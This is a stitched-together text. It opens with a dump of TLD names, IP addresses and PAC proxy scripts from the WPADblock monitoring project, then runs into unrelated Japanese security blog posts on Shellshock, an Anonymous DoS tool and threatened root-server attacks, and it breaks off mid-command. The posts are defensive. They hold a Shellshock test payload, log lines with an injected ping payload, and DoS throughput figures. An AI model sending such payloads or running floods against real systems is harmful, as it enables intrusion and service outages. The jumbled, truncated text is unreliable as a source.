// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
LTD,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
LU,158.64.1.39,0
LV,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
MANAGEMENT,45.79.187.40,0
MARKET,5.45.73.16,0
ME,178.63.72.28,0
MEDIA,54.77.189.34,0
MG,23.253.126.58,0
MIAMI,23.253.126.58,0
MOBI,174.129.25.170,0
MONEY,23.253.126.58,0
MS,85.214.216.51,0
MSD,127.0.53.53,0
MU,52.11.212.209,0
NAME,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
NETWORK,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
NEWS,54.77.189.34,0
NINJA,52.11.212.209,0
ONE,52.11.212.209,0
ONLINE,45.79.187.40,0
OOO,23.95.95.119,0
OVH,88.198.71.198,57
function FindProxyForURL(url, host) { return "DIRECT"; }
PARTNERS,23.253.126.58,0
PE,176.9.137.236,0
PH,52.11.212.209,0
PHOTOGRAPHY,23.253.126.58,0
PHOTOS,23.253.126.58,0
PICTURES,23.253.126.58,0
PINK,23.253.126.58,0
PIZZA,23.253.126.58,0
PL,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
PLACE,45.79.187.40,0
PLUS,23.253.126.58,0
PRESS,52.11.212.209,0
PRO,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
PRODUCTIONS,23.253.126.58,0
PUB,54.77.189.34,0
PW,52.11.212.209,0
RED,52.11.212.209,0
RENTALS,23.253.126.58,0
REPORT,23.253.126.58,0
REST,45.79.187.40,0
REVIEWS,23.253.126.58,0
RO,185.53.177.20,0
ROCKS,52.11.212.209,0
RU,188.120.232.174,0
RUN,54.77.189.34,0
SALE,45.79.187.40,0
SALON,23.253.126.58,0
SERVICES,45.79.187.40,0
SHOW,23.253.126.58,0
SITE,45.79.187.40,0
SK,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
SKI,23.253.126.58,0
SOCIAL,45.79.187.40,0
SOFTWARE,45.79.187.40,0
ST,5.196.4.189,60
function FindProxyForURL(url, host) {
return "DIRECT";
}

STUDIO,23.253.126.58,0
STUDY,23.95.95.119,0
STYLE,23.253.126.58,0
SU,52.11.212.209,0
SUPPORT,45.79.187.40,0
SY,91.144.20.76,0
SYDNEY,52.8.100.88,0
SYSTEMS,45.79.187.40,0
TAXI,23.253.126.58,0
TCI,127.0.53.53,0
TDK,127.0.53.53,0
TEAM,45.79.187.40,0
TECH,52.11.212.209,0
TECHNOLOGY,54.77.189.34,0
TEL,194.77.54.2,0
TIPS,23.253.126.58,0
TJ,52.9.107.140,0
TK,38.123.253.53,7314 (HTML FILE)
TM,80.249.100.37,0
TO,54.77.189.34,0
TODAY,54.77.189.34,0
TOKYO,52.9.99.229,0
TOOLS,23.253.126.58,0
TOWN,23.95.95.119,0
TRADE,5.45.73.16,0
TRAINING,23.253.126.58,0
TUBE,23.253.126.58,0
TV,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
TW,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
UNIVERSITY,54.77.189.34,0
VC,23.253.126.58,0
VEGAS,50.63.202.49,0
VENTURES,23.253.126.58,0
VIDEO,54.77.189.34,0
VIP,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
VISION,23.253.126.58,0
VLAANDEREN,193.191.172.243,21
Site en maintenance.
VOYAGE,23.253.126.58,0
WATCH,23.253.126.58,0
WEBSITE,52.11.212.209,0
WEDDING,23.253.126.58,0
WIEN,5.196.4.189,60
function FindProxyForURL(url, host) {
return "DIRECT";
}

WIKI,45.79.187.40,0
WORK,195.22.26.248,0
WORKS,23.253.126.58,0
WORLD,66.240.194.139,0
WS,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
WTF,52.11.212.209,0
XN--FIQS8S,218.241.116.40,0
XN--FIQZ9S,218.241.116.40,0
XXX,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
XYZ,52.11.212.209,0
YOGA,23.253.126.58,0
ZONE,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}

bashにおける脆弱性「Shellshock」について

LinuxやMac OS XなどのUNIX系OSで広く使用されているbashに見つかった脆弱性(Shellshockと呼ばれています)が先日から話題になっています。
弊社でもこのbashの脆弱性について調査を行いました。

■概要
環境変数に特定の文字列を設定するだけでその環境変数内の文字列をシェルが関数として実行してしまいます。
シェルを通じてコマンド等を実行する幅広い環境で影響がありますが、特に顕著に影響を受けるのはCGI等のWebアプリケーション環境です。
CGIをはじめとするWebアプリケーションではWebブラウザからのHTTPリクエストヘッダなどに含まれる各種の情報を環境変数を通じて取得するため、攻撃にも応用しやすいからです。

今回の脆弱性は、攻撃者にとっては非常に簡単な方法で攻撃が可能であり、現在すでにこの脆弱性を利用した攻撃が広く観測されているため、早急に対応が必要となります。
特に、CentOSではデフォルトで/bin/shがbashへのシンボリックリンクとなっており、影響を受けやすいため注意が必要です。

■脆弱性のあるbashかどうかの確認方法
コマンドライン上で
$ X='() { :;}; echo vuln' bash -c 'echo'
を実行します。このとき、画面に vuln の文字列が表示されるようであればお使いのbashは脆弱性のあるバージョンとなります。

※vuln の文字列が表示されない場合であっても、脆弱性に対応するために現在リリースされているパッチでは修正が不十分という可能性もありますので、ベンダの情報やJPCERT/CCによる緩和策等を参考にしてください。

参考: GNU bash の脆弱性に関する注意喚起(JPCERT/CC)

■攻撃有無の簡易的な確認
Webサーバのアクセスログから「() {」という文字列を含むリクエストが存在していないかを調べます。
[root@www httpd]# grep '() {' access_log
2xx.1xx.2xx.7x - - [25/Sep/2014:07:15:16 +0900] "GET / HTTP/1.0" 200 2217 "() { :; }; ping -c 11 2xx.xxx.xxx.7x" "shellshock-scan (http://blog.*********.com/2014/09/bash-shellshock-scan-of-internet.html)"
2xx.1xx.2xx.7x - - [25/Sep/2014:13:41:18 +0900] "GET / HTTP/1.0" 200 2217 "() { :; }; ping -c 11 2xx.xxx.xxx.7x" "shellshock-scan (http://blog.*********.com/2014/09/bash-shellshock-scan-of-internet.html)"


これは脆弱性がある場合には攻撃者の用意したサイトへpingを発行するという攻撃の準備のためのコードをリファラに仕込んでいたときのログで、研究を目的としたスキャンのようです。
ただし、このログによる確認方法は簡易的なものであり、User-Agentやリファラ以外の例えばAccept-Encodingやその他のカスタムリクエストヘッダなどに攻撃用コードを仕込んでいた場合には一般的にはログに記録されないため、この確認方法では攻撃の有無を把握することはできません。

そのため、攻撃を確実に把握するためにはすべてのHTTPの通信を記録しておくことが望ましいと言えます。弊社 PacketBlackHole を用いるとHTTPをはじめとする通信の記録、確認が容易に行えます。

■影響の範囲
Webサーバをはじめとし、bashがインストールされているLinuxやUNIX環境すべてが対象となりますが、その脆弱性を利用して外部から実際に攻撃、侵入ができるかどうかについては設定や使用しているプログラムによるところが大きく、すべてのサーバが即座に侵入可能というわけではありません。

脆弱性のあるbashが存在するWebサーバに対しては、攻撃者がHTTPリクエストヘッダに脆弱性を利用した攻撃コードを含めてHTTPリクエストを発行し、それに対してWebアプリケーション攻撃が応答するだけで攻撃が成立してしまいます。

Webアプリケーションが影響を受けるのは、シェルを経由して外部コマンドを起動する部分となります。各言語において外部コマンドを起動するための関数や命令は異なっており、それぞれがシェルを経由するか否かはWebアプリケーション開発者にとっても把握が難しいため注意が必要です。

以下、代表的な事例としてPHPおよびPerlにおける影響点を記載しておきます。

○PHP

PHPではCGIモードで起動させた場合にbashの脆弱性を利用した攻撃が非常に容易に行えることを確認しています。
execやshell_exec、sysytem、proc_open といった明示的に外部コマンドを起動する関数の呼び出しだけでなく、メール送信のために広く利用されている mail 関数や mb_send_mail 関数も内部的にシェルを起動しているため、今回のbashの脆弱性の影響を受けます。これらを利用しているPHPスクリプトの動作環境では早急に対応が必要となります。

○Perl
system、exec、``、open など外部コマンドを利用している場合に影響を受ける可能性があります。特に、open( FH, "| nkf -j | sendmail" ) のように多段にパイプを介している場合にはシェルを起動してのコマンド実行となるため確実に影響を受けることになります。

また、外からみた場合には明示的にWebアプリケーションに見えない、静的なHTMLファイルであったとしても、内部でSSI(Server Side Include)を使用している場合には <!--#exec cgi=... --> などの機能により外部コマンドを呼び出している場合があり、これらもbashの脆弱性の影響を受けるため注意が必要です。


企業内、ファイアウォール内のサーバやBASIC認証等で保護されているサーバなど、攻撃者が直接的にアクセスできない場合であっても、そのサーバ上の攻撃可能なCGIなどのURLが攻撃者にとって既知である場合には、攻撃者はわなページ上のJavaScriptからXMLHttpRequestによって攻撃用のコードをを該当CGIへ送信することで任意コードの実行が可能となります。

以上、bashの脆弱性についての調査結果となります。繰り返しになりますが、現在提供されているパッチでは脆弱性への対応が不十分という話もあるため、パッチの適用に加え、万が一の場合に備えた対策を合わせてとっておくことが大切であり、弊社によるネットワークの監視カメラ「PacketBlackHole」のような製品が重要となります。
また、弊社でもサポートするSaaS型のWeb Application Firewallである「Scutum」ではすでに本攻撃に対するシグネイチャの対応を終えており、導入することにより本脆弱性を利用した攻撃からWebアプリケーションを守ることができます。



AnonymousがDoSアタックに使ったツールを検証してみる

2012/06/26 最高裁判所や自民党、民主党のWebサイトがAnonymousのDoS攻撃に晒された。DoS攻撃を受けると対策が取られていないサーバには攻撃が続いている間接続しにくくなる。Anonymousはインターネット上のチャットIRCを通じ、攻撃を行なっているチャンネル(チャットルーム)のメンバーに指令を送っていた。初心者でもできるように、IRCなどでサポートをしていたものもいた。

そのとき使われたツールを検証してみた。

DoSアタックは数の勝負とパターンマッチングの勝負、何も対策をしていないならば来たリクエストが全て捌けることが出来れば、サーバ側の勝ちである。

今回使われたDoSアタックツールはこれである。

mainscreen


指令では、TARGET: とBOOSTER:が指示される。TARGET:は今回の攻撃対象。BOOSTERはVisualBasicのようなスクリプトになっており、個々で列挙されたURLに攻撃される。BOOSTERで設定されているものは、攻撃対象のURLだけではなく、ブラウザを示すUserAgentのほか、どこから来たのかを示す、REFERER。最後にブラウザがいつ訪問したのかを示す、If-Modified-Sinceヘッダがランダムになるように列挙される。

ターゲットを設定して、赤いボタンを押すことにより攻撃が始まる。操作はこれだけであるが、肝心なのは性能である。これ1台で秒間どれぐらいのリクエストができるのか。ベンチマークをしてみた。
一般的に最近の低価格帯の物理サーバであれば帯域が持つ限り一台あたり、静的ページであれば秒間1000リクエスト、動的なページであれば、秒間10~100リクエスト程度処理できるものが一般的である。
そこで攻撃ツールの性能がわかれば攻撃者一人当たりにつき何台サーバを動的に増やせば良いのかが分かることになる。
ただし、AnonymousのDoSアタックは公開されている場所で実施されており、攻撃手法が見えているためリクエスト数に対するDoS攻撃のみを止めることはそれほど難しいことではない。

今回の結果
クライアント Windows7 corei5 660 DoSアタックツール同時実行x4
サーバ corei5 660 仮想サーバ vCore x4 Apache2.

dos_responce


DoSアタックツールは、マルチコア非対応であったためにコア数分だけプロセスを起動させた。攻撃の傾向としては、はじめに大量に接続に来て、DoSアタックが効いている間は、接続できる数が極端に減って0になる。接続できる数が0になれば他の人も対象とされたホームページは見られないわけで、DoS攻撃が成功したといえる。同じスペックのマシンでも攻撃側の方が有利になる。

さて、この攻撃には幾つかの弱点があり、攻撃を成功しないようにさせることも条件によっては可能である。対策は以下のとおり。

1.攻撃手法が公開されているので手法を分析して、特徴に応じてブロックする。
2.攻撃の量に応じて自動でスケールアウトできる構成にしておく。
3.DDoS対策製品を入れる。

注意)
Anoymousの真似してDoS攻撃をすると威力業務妨害で訴えられることもありますので、絶対に真似しないでください。

Anonymousの攻撃は成功するのか?

ネットエージェント株式会社、代表取締役社長の杉浦です。今回は、「Anonymousがインターネットのルートサーバをダウンさせると予告してきた」ことに関連する内容といたしました。

-----

Anonymousがインターネットのルートサーバをダウンさせると予告してきた。
ルートサーバは、インターネットの名前解決における一番の元となるサーバである。一般の人が直接利用する事はほとんどないが、もし仮にここが長時間使えなくなった場合、インターネットもメールも使えなくなると思って良い。
<参考URL>
http://www.itmedia.co.jp/news/articles/1202/21/news033.html

■本当にルートサーバはダウンするのか?
DoSアタックは基本的に数対数の戦いになるので、圧倒的に物量で優位に立てれば勝つという単純な図式が成り立つ。
攻撃側が大量のクエリー(要求)を送信しても、相手側が捌ける量を超えなければ、そもそも攻撃は成功しない。また、もし特定の相手側サーバ1台に攻撃が成功するだけの送信量だったとしても、ルートサーバによっては複数のホストのクラスタとして実装されており、攻撃対象となる到達先の機器が分散される仕組み(Anycastによる負荷分散)等もあるので、サーバクラスタそのものに対する目的(=ダウン)は達成されない。
最近の一般的なサーバ1台の応答性能は50,000~100,000クエリー/秒程度である。では、果たして攻撃側のDoSアタックではどの程度まで送出可能なのであろうか?かつて社内の製品試験で過去に数多くのDNSクエリーを発行する実験を行ったところ、社内のテスト環境でも1,000,000クエリー/秒ぐらいのリクエストが送信可能だった。
実験と違い、DDoS用途として扱う場合はリアルなDNSクエリーにする必要があるので、若干手を加えることになる。しかし、ほぼ同等の速度でクエリーを送出することはそう難しくないだろう。攻撃側は想像より少ないDoSアタック用端末数でも攻撃を成功させることが可能なのかもしれない。

■実際の影響は?
仮にルートサーバが全部ダウンしたとしても、直後であれば大半のページは閲覧可能だろう。ルートサーバがダウンした場合に生じる現象としては、Webサイト閲覧やメールの送受信が出来なったりするわけだが、ルートサーバが攻撃されている間、クライアントとの中間に存在するDNSキャッシュサーバがキャッシュを保持し続けている間は、こうした名前解決のトラブルは発生しにくい。従って、もし本当に3月31日に攻撃が始まったなら、DNSのキャッシュ内容をフラッシュするのは止めておいたほうが良い。ルートサーバのレコードのTTL(Time To Live=寿命)は比較的長いので、うまく行けば攻撃が終わるまで、ルートサーバのキャッシュ寿命が切れる前に攻撃が終わる。
ちなみにrootサーバによってレコードの寿命は異なる。中には800秒や3600秒といった短い寿命のTLDもあり、攻撃による影響が出やすいため見られないサイトが出てくる可能性がある。ちなみに日本にあるm.root-servers.netは3600000秒、およそ41日程度だ。恐らくはその辺の事情もあって、Anonymous側は攻撃が数日続く可能性も示唆しているのだろう。

■誰が守ればいいのか?
まずルートサーバを管理運営している組織、関係者がこれを守るのは当然だが、時間的余裕があればそれだけ対策は立てやすくなる。Anonymousの攻撃予告は3月31日で、それまでまだ40日近くある。当日までに世界中の多くの関係者が知恵を絞ってきちんと対策するはずで、恐らく大きな問題は生じないと思われる。
だがもし仮に万が一攻撃が成功してルートサーバがダウンしてしまった場合に備えて事前に何が出来るか。名前解決ができなくなるであろうと予測される期間に備え、レコードを事前にキャッシュしておくことで一定の効果は見込まれる。要は予めルートサーバのコピーを作っておいて、いざというときには使えるような備えをしておくような運用が出来ればよい。

トップレベルドメイン一覧にあるデータを前もって全部引いておき、キャッシュ。

以下のコマンドを叩くと全TLD(Top Level Domain)を引いてくれる。

perl -e '$a="arpa,aero,asia,biz,cat,com,coop,info,int,jobs,mobi,museum,name,net,org,pro,tel,travel,xxx,edu,gov,mil,ac,ad,ae,af,ag,ai,al,am,an,ao,aq,ar,as,at,au,aw,ax,az,ba,bb,bd,be,bf,bg,bh,bi,bj,bm,bn,bo,br,bs,bt,bv,bw,by,bz,ca,cc,cd,cf,cg,ch,ci,ck,cl,cm,cn,co,cr,cs,cu,cv,cx,cy,cz,dd,de,dj,dk,dm,do,dz,ec,ee,eg,eh,er,es,et,eu,fi,fj,fk,fm,fo,fr,ga,gb,gd,ge,gf,gg,gh,gi,gl,gm,gn,gp,gq,gr,gs,gt,gu,gw,gy,hk,hm,hn,hr,ht,hu,id,ie,il,im,in,io,iq,ir,is,it,je,jm,jo,jp,ke,kg,kh,ki,km,kn,kp,kr,kw,ky,kz,la,lb,lc,li,lk,lr,ls,lt,lu,lv,ly,ma,mc,md,me,mg,mh,mk,ml,mm,mn,mo,mp,mq,mr,ms,mt,mu,mv,mw,mx,my,mz,na,nc,ne,nf,ng,ni,nl,no,np,nr,nu,nz,om,pa,pe,pf,pg,ph,pk,pl,pm,pn,pr,ps,pt,pw,py,qa,re,ro,rs,ru,rw,sa,sb,sc,sd,se,sg,sh,si,sj,sk,sl,sm,sn,so,sr,ss,st,su,sv,sy,sz,tc,td,tf,tg,th,tj,tk,tl,tm,tn,to,tp,tr,tt,tv,tw,tz,ua,ug,uk,us,uy,uz,va,vc,ve,vg,vi,vn,vu,wf,ws,ye,yt,yu,za,zm,zw,xn--lgbbat1ad8j,xn--54b7fta0cc,xn--fiqs8s,xn--fiqz9s,xn--wgbh1c,xn--node,xn--j6w193g,xn--h2brj9c,xn--mgbbh1a71e,xn--fpcrj9c3d,xn--gecrj9c,xn--s9brj9c,xn--xkc2dl3a5ee0h,xn--45brj9c,xn--mgba3a4f16a,xn--mgbayh7gpa,xn--80ao